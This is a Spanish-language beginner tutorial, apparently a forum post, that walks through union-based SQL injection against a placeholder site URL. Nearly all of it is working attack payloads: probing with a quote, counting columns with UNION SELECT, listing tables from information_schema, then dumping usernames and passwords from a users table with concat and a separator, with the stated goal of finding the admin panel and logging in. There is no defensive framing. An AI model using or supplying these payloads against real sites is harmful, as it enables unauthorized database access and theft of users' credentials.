Inyecciones sql de newbie para newbie
Empesamos
Como saber si es vulnerable poniendo una ´(una comilla)y nos debe
tirar un error como este(puede ser otro):
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '´
ORDER BY Id_ITEMS ASC' at line 1
Bueno con eso sabemos que es vulnerable ahora buscaremos las tablas,entonces
escribimos ?id=-1+union+all+select+0y quedara algo asi:
www.url.com/index.php?id=-1+union+all+select+0
Y nos tirara un error,ahora se buscan las columnas hasta que no nos tire error.
Ejemplo:
www.url.com/index.php?id=-1+union+all+select+0,1,2,3,4,5
y asi sucesibamente.
Bueno cuando ya no nos tire error y nos muestra unos numeros la pag,escribimos esto
al final para que nos muestre las tablas:
+from+information_schema.tables--
Y quedara asi:
www.url.com/index.php?id=-1+union+all+select+0,1,2,3,4,5+from+information_schema.tables--
Bueno ahora los numeros que nos muestra son los que usaremos para imprimir valores,
estos los remplasaremos en la url por table_name y quedara asi:
www.url.com/index.php?id=-1+union+all+select+0,1,table_name,3,4,5+from+information_schema.tables--
Bueno ahora a buscar la columna del admin que pondremos esto al final +limit+1,1--
y quedara asi:
www.url.com/index.php?id=-1+union+all+select+0,1,table_name,3,4,5+from+information_schema.tables+limit+1,1--
No olviden quitar las --
Bueno ahora ya nos muestra los nombres de las tablas ahora a buscar una sospechosa
¿Como hacemos esto?
Asi iremos subiendo de uno en uno hasta encontrar una tabla sospechosa:
www.url.com/index.php?id=-1+union+all+select+0,1,table_name,3,4,5+from+information_schema.tables+limit+2,1--
www.url.com/index.php?id=-1+union+all+select+0,1,table_name,3,4,5+from+information_schema.tables+limit+3,1--
www.url.com/index.php?id=-1+union+all+select+0,1,table_name,3,4,5+from+information_schema.tables+limit+4,1--
Y asi susecivamente algo tardado y extenso xdddddd
En este caso sera la tabla 5 con nombre de usuarios.
Bueno ahora tenemos todo listo ahora borraremos la inyeccion y tambien table_name
www.url.com/index.php?id=-1+union+all+select+0,1,2,3,4,5+from+
Aqui agregaremos al final despues de +from+,pondremos usuarios
que fue la tabla "sospechosa" que encontramos y quedara algo asi:
www.url.com/index.php?id=-1+union+all+select+0,1,2,3,4,5+from+usuarios
Hasta aqui,todo bien
Bueno ahora buscaremos los nombres. ¿como? ,esto lo haremos sustituyendo en la url los
numeros que nos mostro en la pagina imaginemos que en este caso fue el 2 y el 3 quedaria
asi:
www.url.com/index.php?id=-1+union+all+select+0,1,nombre,3,4,5+from+usuarios
Ahora vemos que cambie el valor de 2 por nombre,esto varia dependiendo del lenguaje
del pais puede ser user,login,username,admin,administrador o asi
Despues de esto ya sacamos los nombre de usuarios ahora siguen las pass ¿como?,
igual que hace ratito.
www.url.com/index.php?id=-1+union+all+select+0,1,pass,3,4,5+from+usuarios
Remplasamos el 2 que habiamos remplasado por nombre y ponemos pass,
este tambien puede variar como password,clave,passwd y asi.
Bueno por fin nos mostro el usuario y la pass ahora solo nos queda buscar el panel de control.
Para imprimir dos valores usaremos:concat(nombre,pass)
www.url.com/index.php?id=-1+union+all+select+0,1,concat(user,pass),3,4,5+from+usuarios
De esta forma nos quedara el user y pass juntos y no sabriamos distinguir,para eso usaremos
:: estos signos que nos separa el user de la pass con este codigo "0x3a3a"(sin comillas)
y quedara algo asi: concat(user,0x3a3a,pass)
Ejemplo:
www.url.com/index.php?id=-1+union+all+select+0,1,concat(user,0x3a3a,pass),3,4,5+from+usuarios
Y nos mostrara algo como:
Usuario::Clave
Y listo todo bien ahora encuentren el panel y listo.
Saludos a todos,si tengo errores esque apenas empieso con inyecciones sql .
BY: wscalle1 (un amigo)